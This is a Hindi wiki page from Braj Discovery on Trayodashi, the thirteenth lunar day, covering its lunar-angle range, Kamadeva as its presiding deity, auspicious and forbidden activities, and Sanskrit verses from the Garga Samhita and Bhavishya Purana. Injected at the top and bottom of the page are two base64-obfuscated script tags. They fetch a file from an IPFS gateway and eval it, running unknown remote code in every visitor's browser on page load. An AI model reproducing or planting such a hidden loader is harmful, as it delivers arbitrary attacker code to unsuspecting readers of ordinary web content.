त्रयोदशी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Govind (चर्चा | योगदान) द्वारा परिवर्तित ११:२५, २८ सितम्बर २०१० का अवतरण (नया पन्ना: {{menu}} ==त्रयोदशी / Triyodashi== *सूर्य से चन्द्र का अ…)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्रयोदशी / Triyodashi

  • सूर्य से चन्द्र का अन्तर जब 145° से 156° तक होता है, तब शुक्ल पक्ष की त्रयोदशी और 313° से 336° तक कृष्ण त्रयोदशी रहती है।
  • इसके स्वामी कामदेव हैं।
  • त्रयोदशी तिथि का विशेषण ‘जयकरा’ है।
  • त्रयोदशी बुधवार को मृत्युदा तथा मंगलवार को सिद्धिदा होती है।
  • त्रयोदशी तिथि की दिशा दक्षिण है।
  • शुक्ल पक्ष की त्रयोदशी में समस्त शुभ कार्य किये जाते हैं, किंतु कृष्ण पक्ष की त्रयोदशी को चन्द्रमा के क्षीण हो मृतप्राय: होने से समस्त शुभ कार्य वर्जित माने जाते है।
  • गर्गसंहिता के अनुसार त्रयोदशी को निम्न कार्य करना चाहिये-

जया त्रयोदशीमाह कर्तव्यं कर्म शोभनम्।
वस्त्रमाल्यमलंकारविप्राण्याभरणानि च।।
सौभाग्यकरणं स्त्रीणां कन्यावरणमेव च।
मुण्डनं युग्मवसनं कामं विन्द्याच्च देवताम्।।

  • शुक्ल पक्ष की त्रयोदशी शिवार्चन हेतु शुभ तथा कृष्ण पक्ष की अशुभ होती है।
  • त्रयोदशी की अमृत कला का पान कुबेर करते हैं।
  • विशेष – दोनों पक्षों की त्रयोदशी को निरन्तरता के साथ कामदेव की पूजा करते रहने से अविवाहितों का विवाह हो जाता है तथा स्वयं रूपवान एवं तेजस्वी होता है।
  • भविष्य पुराण के अनुसार -

कामदेवं त्रयोदश्यां सुरूपो जायते ध्रुवम्।
इष्टां रूपवतीं भार्यां लभेत्कामांश्च पुष्कलान्।।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>